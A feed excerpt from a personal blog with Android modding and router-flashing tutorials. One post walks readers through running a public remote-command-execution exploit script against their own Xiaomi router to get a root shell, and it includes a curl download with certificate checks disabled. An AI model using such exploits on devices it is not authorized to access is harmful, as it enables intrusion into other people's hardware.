&lt;p&gt;Because it doesn&apos;t rely on the &lt;code&gt;VPN Service API&lt;/code&gt;, it doesn&apos;t occupy a VPN slot at all, and by using a transparent proxy it can bypass most detection.&lt;/p&gt;
&lt;h2&gt;PRINCIPLE&lt;/h2&gt;
&lt;h3&gt;TRANSPARENT PROXY&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Transparent Proxy&lt;/code&gt;. Simply put, it makes the app unable to detect its existence, so the app believes it is connecting directly to the internet. Its interception is mainly implemented as follows.&lt;/p&gt;
&lt;h3&gt;TUN&lt;/h3&gt;
&lt;p&gt;A &lt;code&gt;TUN&lt;/code&gt; device is a virtual network device implemented in software. Unlike &lt;code&gt;eth0&lt;/code&gt; or &lt;code&gt;wlan0&lt;/code&gt;, it isn&apos;t real hardware. It&apos;s like a virtual Ethernet port, with one end plugged into the system&apos;s &lt;code&gt;network stack&lt;/code&gt; and the other into the Clash core.&lt;/p&gt;
&lt;p&gt;Its working principle is mainly:&lt;/p&gt;
&lt;p&gt;Following &lt;code&gt;iptables&lt;/code&gt; rules, the system sends all network traffic that needs proxying to the &lt;code&gt;TUN&lt;/code&gt; device. The Clash core reads these raw packets from the other end and processes them, after which they go back through &lt;code&gt;TUN&lt;/code&gt; to the system kernel and out to the destination.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The TUN device works at the network layer, handling &lt;code&gt;IP packets&lt;/code&gt;, which lets it take over all IP-based traffic.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;TUN2SOCKS&lt;/h3&gt;
&lt;p&gt;As is well known, Clash generally listens on a SOCKS5/HTTP port, expecting data that conforms to the proxy protocol. But what the TUN hands over is raw network packets — not remotely the same thing.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TUN2SOCKS&lt;/code&gt; acts as the bridge between them, achieving a translation effect. It reads the raw packets coming from the TUN, packages them in the standard SOCKS5 protocol format as a client, and sends them to the Clash core, so Clash can process the traffic normally.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To Clash, it is merely providing proxy service to a local client called &lt;code&gt;tun2socks&lt;/code&gt;, and it has no idea that the traffic it is handling comes from the entire system.&lt;/li&gt;
&lt;li&gt;To the app, it believes it is connected directly to the internet, unaware that its traffic has been hijacked and translated by the TUN.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;IPTABLES&lt;/h3&gt;
&lt;p&gt;By default, system traffic won&apos;t just walk into the TUN by itself. Box4magisk uses &lt;code&gt;iptables&lt;/code&gt; to steer traffic into the TUN.&lt;/p&gt;
&lt;p&gt;Let&apos;s first understand &lt;code&gt;iptables&lt;/code&gt;. This is the built-in packet filtering and manipulation tool in Linux, but here its core role isn&apos;t a firewall — it&apos;s routing traffic.&lt;/p&gt;
&lt;p&gt;On startup, Box4magisk adds a series of rules to &lt;code&gt;REDIRECT&lt;/code&gt; or TProxy traffic to the TUN device.&lt;/p&gt;
&lt;h3&gt;Next, an example to better understand how traffic flows when they work together&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The app tries to connect to &lt;code&gt;xice.cx:443&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;iptables&lt;/code&gt; immediately intercepts this TCP request and, per the rules, directs the traffic to the TUN device&lt;/li&gt;
&lt;li&gt;The TUN directs the traffic to &lt;code&gt;tun0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tun2socks&lt;/code&gt; reads this raw TCP request from &lt;code&gt;tun0&lt;/code&gt;, packages it into the &lt;code&gt;SOCKS5&lt;/code&gt; protocol as &lt;code&gt;CONNET blog.chongxo.us 443&lt;/code&gt;, and sends it to Clash&apos;s port on localhost.&lt;/li&gt;
&lt;li&gt;Clash receives the request and routes it out according to the proxy rules.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Data returned from the remote server goes back the same way in reverse.&lt;/p&gt;
&lt;h2&gt;PREREQUISITES&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;An Android device with root access&lt;/li&gt;
&lt;li&gt;The Magisk module files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here we&apos;ll use &lt;code&gt;Surfing&lt;/code&gt; for the demonstration. It&apos;s a project forked from &lt;code&gt;box4magisk&lt;/code&gt;, featuring an all-in-one integrated service that works as soon as you flash it.&lt;/p&gt;
&lt;p&gt;You can also choose the original &lt;code&gt;box4magisk&lt;/code&gt; and configure it yourself; Chongxi may write a blog about that later.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/GitMetaio/Surfing&quot;&gt;GitMetaio/Surfing&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;LET&apos;S GO&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Install Surfing in Magisk; no need to reboot your device at this point.&lt;/li&gt;
&lt;li&gt;In &lt;code&gt;/data/adb/box_bll/clash/config.yaml&lt;/code&gt;, you can add your &lt;code&gt;remote proxy config URL&lt;/code&gt;.
&lt;img src=&quot;./boxForMagisk/20250826-1.webp&quot; alt=&quot;20250826-1.jpg&quot; /&gt;
You can also modify the config yourself according to the comments inside; reboot your device after changing it.&lt;/li&gt;
&lt;li&gt;Open your browser and go to &lt;code&gt;http://127.0.0.1:9090/ui/#/&lt;/code&gt; to open the WebUI console, where you can configure Surfing in detail.
&lt;img src=&quot;./boxForMagisk/20250826-2.webp&quot; alt=&quot;20250826-2.jpg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Starting and stopping: turn off the Magisk module and it stops.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That completes the Surfing deployment.&lt;/p&gt;
&lt;h2&gt;CONCLUSION&lt;/h2&gt;
&lt;p&gt;And with that, through the Box4Magisk module, we&apos;ve gone beyond the limits of ordinary apps, planting Clash deep in the system&apos;s lower layers and achieving a truly global, seamless network proxy.&lt;/p&gt;
&lt;p&gt;At the same time, we&apos;ve gained a deep understanding of the working principles behind it, turning &quot;magic&quot; into controllable &quot;technology&quot;.&lt;/p&gt;
&lt;p&gt;[center large](If you&apos;re a Samsung user, check out this post::/2025/11/07/SurfingIssueOnSamsung/)&lt;/p&gt;
&lt;p&gt;This is Chongxi, looking forward to seeing you next time&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks For Watching.&lt;/em&gt;&lt;/p&gt;
</content:encoded><category>Android</category><category>网络</category><category>刷机</category><author>Chongxi</author></item><item><title>Using Circle to Search on Any Android Device</title><link>https://xice.cx/en/posts/circleToSearch/</link><guid isPermaLink="true">https://xice.cx/en/posts/circleToSearch/</guid><description>Enable Google Circle to Search on any Android phone, including models from Chinese manufacturers.</description><pubDate>Mon, 25 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Circle to Search&lt;/strong&gt; is a feature jointly launched by Google and Samsung. It lets users quickly search for text, images or video by circling, highlighting, scribbling on or tapping anywhere on the screen, without switching apps.&lt;/p&gt;
&lt;p&gt;&amp;lt;video src=&quot;/videos/circleToSearch.webm&quot; autoplay loop muted playsinline width=&quot;600&quot; height=&quot;1100&quot;&amp;gt;&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;p&gt;For a deeper analysis of Circle to Search, check out this article by the great &lt;a href=&quot;https://pwa.sspai.com/u/p2o51/overview&quot;&gt;@NNNNNatsu&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pwa.sspai.com/post/97858&quot;&gt;Circle to Search, XOXO: How Circle to Search Works and a Beginner&apos;s Guide&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;MiCTS&lt;/h2&gt;
&lt;p&gt;As the title says, to enable Circle to Search on any Android (≥9) device, we need the help of an LSPosed module.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/parallelcc/MiCTS&quot;&gt;parallelcc/MiCTS&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;PREPARATION&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A device with root access and LSPosed installed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;LET&apos;S GO&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Install the MiCTS module.&lt;/li&gt;
&lt;li&gt;Open LSPosed Framework. Usually you can get to it from the entry in the notification shade.&lt;/li&gt;
&lt;li&gt;Open the modules options, find MiCTS, enable it, and check the recommended scope.
&lt;img src=&quot;./circleToSearch/20250825-1.webp&quot; alt=&quot;20250825-1.jpg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Reboot your device.&lt;/li&gt;
&lt;li&gt;Change your default assistant app to Google. Normally you can find this option under &lt;code&gt;设置&lt;/code&gt; &amp;gt; &lt;code&gt;应用&lt;/code&gt; &amp;gt; &lt;code&gt;默认应用程序&lt;/code&gt;.
&lt;img src=&quot;./circleToSearch/20250825-2.webp&quot; alt=&quot;20250825-2.jpg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;You need to lift background restrictions on the Google app, change battery optimization to unrestricted, and allow it to auto-start.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Next, long-press the navigation bar. If &lt;code&gt;圈定即搜&lt;/code&gt; triggers normally, congratulations — you&apos;ve saved yourself half the trouble.&lt;/p&gt;
&lt;p&gt;If it doesn&apos;t trigger, we need some extra steps.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the MiCTS page in LSPosed and tap the gear icon in the bottom-right corner to enter settings.&lt;/li&gt;
&lt;li&gt;A reference configuration is shown below; you may need to grant it root access.
&lt;img src=&quot;./circleToSearch/20250825-3.webp&quot; alt=&quot;20250825-3.jpg&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Next we set up its trigger method (if you can&apos;t trigger it by long-pressing the navigation bar)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install Xposed Edge (Pro) (you&apos;ll need to install it yourself).&lt;/li&gt;
&lt;li&gt;Enable Xposed Edge in LSPosed Framework and reboot its scope.&lt;/li&gt;
&lt;li&gt;Open Xposed Edge and configure it as shown below.
&lt;img src=&quot;./circleToSearch/20250825-4.webp&quot; alt=&quot;20250825-4.jpg&quot; /&gt;
&lt;img src=&quot;./circleToSearch/20250825-5.webp&quot; alt=&quot;20250825-5.jpg&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Then try long-pressing the navigation bar again — it should work as expected.&lt;/p&gt;
&lt;p&gt;If you run into a bug, you can file an issue on the MiCTS project.&lt;/p&gt;
&lt;p&gt;This is Chongxi, looking forward to seeing you next time.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks for watching.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;--Chongxi 2025-08-25&lt;/p&gt;
</content:encoded><category>Android</category><category>软件</category><author>Chongxi</author></item><item><title>Flashing OpenWRT onto the Xiaomi Router 3A</title><link>https://xice.cx/en/posts/miWifi3aFlashWrt/</link><guid isPermaLink="true">https://xice.cx/en/posts/miWifi3aFlashWrt/</guid><description>The complete Xiaomi Router 3A OpenWRT flashing process, from disassembly to flashing, including how to recover from a brick.</description><pubDate>Fri, 22 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;As of 2025/08/22, this router costs between ten and thirty yuan, which makes it an excellent cheap pickup for flashing into a soft router.&lt;/p&gt;
&lt;h2&gt;PREPARATION&lt;/h2&gt;
&lt;p&gt;Firmware you need to download: &lt;a href=&quot;https://www.123684.com/s/fKi6Vv-rTrmH&quot;&gt;123684&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Tools you need: termius, winSCP&lt;/p&gt;
&lt;h2&gt;Flashing the modified official firmware&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Open the MIWIFI admin panel and manually upload the upgrade firmware &lt;code&gt;miwifi_r3a_all_da132_2.18.40.bin&lt;/code&gt; on the system maintenance page&lt;/li&gt;
&lt;li&gt;Wait for the upgrade to finish.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Checking your Windows version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Windows 10, at least 2004, build 19041 or later.&lt;/li&gt;
&lt;li&gt;Windows 11&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Enabling the Windows Features related to WSL&lt;/h2&gt;
&lt;p&gt;Enable Windows Subsystem Linux and Virtual Machine Platform, then restart Windows.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run PowerShell as administrator.&lt;/li&gt;
&lt;li&gt;Enter&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;ll get the following output&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;部署映像服务和管理工具
版本: 10.0.26100.1150

映像版本: 10.0.26100.4652

启用一个或多个功能
[==========================100.0%==========================]
操作成功完成。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform -NoRestart

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Path          :
Online        : True
RestartNeeded : False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You need to restart Windows.&lt;/p&gt;
&lt;h2&gt;Installing WSL&lt;/h2&gt;
&lt;p&gt;Enter&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --install

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What follows is just a normal Ubuntu setup: set up the account and password. It&apos;s normal for the password not to be displayed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;正在下载: Ubuntu
正在安装: Ubuntu
已成功安装分发。可以通过 “wsl.exe -d Ubuntu” 启动它
正在启动 Ubuntu...
Provisioning the new WSL instance Ubuntu
This might take a while...
Create a default Unix user account: xi
New password:
Retype new password:
passwd: password updated successfully
To run a command as administrator (user &quot;root&quot;), use &quot;sudo &amp;lt;command&amp;gt;&quot;.
See &quot;man sudo_root&quot; for details.

xi@SKYCHOW:/mnt/c/Users/33960$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Ubuntu environment is now deployed successfully.&lt;/p&gt;
&lt;h2&gt;Deploying the unlock tool&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;In File Explorer, enter &lt;code&gt;\\wsl.localhost\Ubuntu&lt;/code&gt; to open the Ubuntu file manager, then open home/&amp;lt;the folder here is named after your username&amp;gt;/&lt;/li&gt;
&lt;li&gt;Move &lt;code&gt;OpenWRTInvasion-0.0.10.tar.gz&lt;/code&gt; and &lt;code&gt;setup_openwrt_invasion.sh&lt;/code&gt; into that directory.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;cd /home/xi&lt;/code&gt; command to switch to that directory (change xi to your own username)&lt;/li&gt;
&lt;li&gt;Grant execute permission&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo chmod +x setup_openwrt_invasion.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Enter the following command&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;cd OpenWRTInvasion-0.0.10
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Change the repository address&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;nano script.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the original mirror is dead, we need to edit the download section to the following&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;download_file_from_github() {
    # Rationale for using --insecure: https://github.com/acecilia/OpenWRTInvasion/issues/31#issuecomment-690755250
    curl -L &quot;https://gitee.com/juserzhang/OpenWRTInvasion/tree/master/script_tools$1&quot; --insecure --output &quot;$2&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then press &lt;code&gt;ctrl x&lt;/code&gt; to exit&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;python3 remote_command_execution_vulnerability.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following output appears&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Router IP address [press enter for using the default &apos;miwifi.com&apos;]: 192.168.31.1
Enter router admin password: 12345678
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just enter your IP and admin password
Next you&apos;ll see&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;There two options to provide the files needed for invasion:
   1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`.
   2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)
Which option do you prefer? (default: 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We type 2 and press Enter to run it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;****************
router_ip_address: 192.168.31.1
stok: a80675f22f75d3281445ea2c2638f97e
file provider: remote github repository
****************
start uploading config file...
start exec command...
done! Now you can connect to the router using several options: (user: root, password: root)
* telnet 192.168.31.1
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@192.168.31.1
* ftp: using a program like cyberduck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you see the output above, congratulations — this part of the process succeeded.&lt;/p&gt;
&lt;h2&gt;Flashing breed&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Open termius and connect to your router over telnet; both the username and password are root&lt;/li&gt;
&lt;li&gt;Check and back up the partitions&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;cat /proc/mtd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Back up the partitions, paying attention to the mtd partitions corresponding to factory and BootLoader — the ones you need to back up are factory and BootLoader&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dd if=/dev/mtd4 of=/tmp/eeprom.bin
dd if=/dev/mtd1 of=/tmp/Bootloader.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Open WinSCP, select FTP as the protocol, set the host name to the router&apos;s IP, and use root for both the username and password.&lt;/li&gt;
&lt;li&gt;Find the tmp directory, copy &lt;code&gt;Bootloader.bin&lt;/code&gt; and &lt;code&gt;eeprom.bin&lt;/code&gt; to your PC, and copy breed into tmp&lt;/li&gt;
&lt;li&gt;Go back to the terminal, cd into the tmp directory, and start flashing breed&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;mtd write breed.bin Bootloader
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flashing openwrt&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Make sure your computer is connected to the router&apos;s LAN, then unplug the router&apos;s power. Hold down the reset button, plug the power back in, and release once the indicator light blinks.&lt;/li&gt;
&lt;li&gt;Enter &lt;code&gt;192.168.1.1&lt;/code&gt; to get into the breed admin panel. Check the MAC address here first; if the MAC address is abnormal, flash the eeprom you backed up earlier.&lt;/li&gt;
&lt;li&gt;Select openwrt as the firmware and flash it. Here we&apos;re using the openwrt firmware compiled by bilibili@小渔学长.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Success&lt;/h2&gt;
&lt;p&gt;Wait a moment, enter 10.32.0.1 with the password admin, get into the openwrt admin panel — done.&lt;/p&gt;
&lt;h2&gt;Special Thanks&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.right.com.cn/forum/thread-4017759-1-1.html&quot;&gt;@没了钱咋办&lt;/a&gt;
&lt;a href=&quot;https://www.right.com.cn/forum/thread-4056716-1-1.html&quot;&gt;@Lonny_Lee&lt;/a&gt;
&lt;a href=&quot;https://www.liaronce.com/archives/1146&quot;&gt;@正在摸鱼的Liaronce&lt;/a&gt;
&lt;a href=&quot;https://github.com/acecilia/OpenWRTInvasion&quot;&gt;@acecilia&lt;/a&gt;
&lt;a href=&quot;https://www.right.com.cn/forum/thread-161906-1-1.html&quot;&gt;@hackpascal&lt;/a&gt;
&lt;a href=&quot;https://yuos.top/&quot;&gt;@小渔学长&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is Chongxi, looking forward to seeing you next time.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks for watching.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;--Chongxi 2025-08-22&lt;/p&gt;
</content:encoded><category>网络</category><category>刷机</category><author>Chongxi</author></item><item><title>A Guide to Connecting Samsung Watches Across Firmware Versions</title><link>https://xice.cx/en/posts/samWatchConnectHelper/</link><guid isPermaLink="true">https://xice.cx/en/posts/samWatchConnectHelper/</guid><description>A China-region Samsung watch that won&apos;t pair with an international phone? Changing the CSC region code is all it takes.</description><pubDate>Tue, 19 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;I&apos;m sure everyone has run into this: for some reason (eSIM, say) you bought a China-region Galaxy Watch, and once it arrived you found it wouldn&apos;t connect to your Hong Kong (or other region) phone. When you try, you get this error:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This phone doesn&apos;t support this watch.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Most of the solutions out there amount to flashing the phone/watch to another region&apos;s firmware so they can connect, but that&apos;s fairly difficult to pull off (and has its limits)&lt;/p&gt;
&lt;p&gt;This article will show you how to connect a Samsung watch across regions (China–Hong Kong interoperability)&lt;/p&gt;
&lt;h2&gt;PREPARATION&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Galaxy Watch (here I&apos;ll use a China-region Watch6 as the example)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A Samsung phone (here I&apos;ll use a Hong Kong One UI 5.1 device as the example)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Samsung 智能穿戴 App (version 2.2.29.20012861) &lt;em&gt;&lt;a href=&quot;https://www.123684.com/s/fKi6Vv-dVDmH&quot;&gt;you can download it here&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;LET&apos;S GO!&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Set your Samsung Galaxy Watch to the pairing-ready state (factory reset it)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Uninstall Samsung 智能穿戴 and its related components from the phone (such as watch6manager, Wear OS by Google)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the older version of Samsung 智能穿戴 (.20012861)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Disconnect all internet connections (WLAN/cellular data), open the phone&apos;s Bluetooth screen, and tap your Galaxy Watch to pair.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the latest version of Samsung 智能穿戴 by any means; once you open it, you&apos;ll find your Galaxy Watch under 已配对的设备 — just tap it to set it up.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;TIPS&lt;/h2&gt;
&lt;p&gt;Because the China-region Galaxy Watch has Google services stripped out, you may get an error when copying your Google account. Just skip it.&lt;/p&gt;
&lt;h2&gt;HOW IT WORKS?&lt;/h2&gt;
&lt;p&gt;The principle is very simple: older versions of the wearable app have no pairing verification. We pair the watch using the older version, then connect to it with the newer version, and the watch and phone are interoperable between China and Hong Kong.&lt;/p&gt;
&lt;p&gt;This is Chongxi, looking forward to seeing you next time.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks for watching.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;--Chongxi 2025-08-19&lt;/p&gt;
</content:encoded><category>Samsung</category><category>软件</category><author>Chongxi</author></item><item><title>A Knox Patch Tutorial</title><link>https://xice.cx/en/posts/howToUseKnoxPatch/</link><guid isPermaLink="true">https://xice.cx/en/posts/howToUseKnoxPatch/</guid><description>Knox Patch: a fix for Samsung system apps breaking after root, with a Magisk/LSPosed module walkthrough.</description><pubDate>Sun, 17 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Not the Knox I like, so blow the fuse outright&lt;/h3&gt;
&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;As everyone knows, Samsung&apos;s unique Knox fuse mechanism makes unlocking the Bootloader extremely expensive.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Losing the warranty: once the Knox fuse trips, you lose the factory warranty.&lt;/li&gt;
&lt;li&gt;Some features stop working: certain security features, such as Samsung Pay and Knox security protection, become unavailable. Even if you restore the stock system, some functions may still not come back. Most system apps are effectively dead.&lt;/li&gt;
&lt;li&gt;Limited software updates: because the device is flagged as fused, system updates may be restricted or fail. (Though if you&apos;ve already unlocked the bootloader, do you even need OTA?)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The main issue is still that most system apps are effectively dead, and apps like Samsung Health can&apos;t be used. That one really hurts.&lt;/p&gt;
&lt;p&gt;The Knox Patch introduced in this article was born to solve this problem.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/salvogiangri/KnoxPatch&quot;&gt;salvogiangri/KnoxPatch&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;What you need to download:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;KnoxPatch-v0.8.0.apk&lt;/li&gt;
&lt;li&gt;KnoxPatch-Enhancer-v0.4.zip&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;FEATURE&lt;/h2&gt;
&lt;p&gt;Supported apps
✅ Auto Blocker&lt;/p&gt;
&lt;p&gt;➖ Galaxy Wearable (Gear Manager) (Enhancer required)&lt;/p&gt;
&lt;p&gt;✅ Samsung Cloud (FMM, Enhanced data
protection)&lt;/p&gt;
&lt;p&gt;✅ Samsung Flow&lt;/p&gt;
&lt;p&gt;✅ Samsung Health&lt;/p&gt;
&lt;p&gt;✅ Samsung Health Monitor&lt;/p&gt;
&lt;p&gt;➖ Samsung TV Plus (TrickyStore required)&lt;/p&gt;
&lt;p&gt;✅ Secure Folder (Enhancer might be required)
✅ Secure Wi-Fi&lt;/p&gt;
&lt;p&gt;✅ SmartThings&lt;/p&gt;
&lt;p&gt;➖ Smart View (Enhancer required)&lt;/p&gt;
&lt;p&gt;✅ Private Share*&lt;/p&gt;
&lt;p&gt;❌ Samsung Pass&lt;/p&gt;
&lt;p&gt;❌ Samsung Wallet (Pay)&lt;/p&gt;
&lt;h2&gt;SUPPORTED VERSIONS&lt;/h2&gt;
&lt;p&gt;One UI 1.x --&amp;gt; One UI 8.x
(Android 9 --&amp;gt; 16)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;tip&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Because it&apos;s integrated into Quick Share, devices running One UI 5.1 or lower may need PIF or a similar program for this feature to work properly.&lt;/p&gt;
&lt;p&gt;Older devices running One UI 2.x or 3.x with FBE need an extra patcher installed in the system partition to fix the Secure Folder issue. Download the module zip from the latest release and install it through a custom Recovery; this will apply the patches needed to fix Secure Folder. The zip also creates a backup of the original system files, and flashing it again restores them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;LET&apos;S GO&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;First, make sure you have root through Magisk/KernelSU/APatch or another su manager, and that the LSPosed module is installed&lt;/li&gt;
&lt;li&gt;In Magisk modules, flash &lt;code&gt;KnoxPatch-Enhancer-v0.4.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;In LSPosed, tick all the recommended apps.&lt;/li&gt;
&lt;li&gt;Reboot your device, and your Knox Patch will take effect. You can now use the vast majority of system apps normally.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Final words&lt;/h2&gt;
&lt;p&gt;Unlocking the bootloader on a Samsung phone is extremely costly, and we don&apos;t recommend it. The vast majority of problems can be solved with Shizuku and Scene, disabling whichever system apps you don&apos;t like, and disabling anything won&apos;t crash the system or freeze the screen.&lt;/p&gt;
&lt;p&gt;By comparison, vivo&apos;s system ignores ordinary adb tools, and on Xiaomi disabling apps makes it very easy to crash the system or freeze the screen.&lt;/p&gt;
&lt;p&gt;As of now, One UI 8 has removed the OEM unlock option, which means bootloader unlocking will no longer be allowed in the future. The era of custom flashing is finally coming to an end.&lt;/p&gt;
&lt;p&gt;This is Chongxi, looking forward to seeing you next time.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks for watching.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;--Chongxi 2025-08-19&lt;/p&gt;
</content:encoded><category>Samsung</category><category>Android</category><category>刷机</category><author>Chongxi</author></item><item><title>Recommending the Chinese Neurofunk Collective 「神游 • NEUROMANCER」</title><link>https://xice.cx/en/posts/neuromancer/</link><guid isPermaLink="true">https://xice.cx/en/posts/neuromancer/</guid><description>The debut album from China&apos;s top Neurofunk collective 神游, The Concealing Vol.1, a narrative beef-rice feast from twelve top-tier producers.</description><pubDate>Thu, 01 May 2025 15:39:10 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;「神游 NEUROMANCER」&lt;/strong&gt; is a doujin music collective focused on Neuro/DnB, founded by Noir_D&lt;/p&gt;
&lt;p&gt;「The Concealing Vol.1」 is the collective&apos;s first release, a narrative beef-rice feast created together by twelve top-tier producers from all over China, drawn from labels and collectives such as Diversesystem, 留声唱片 and 2088&lt;/p&gt;
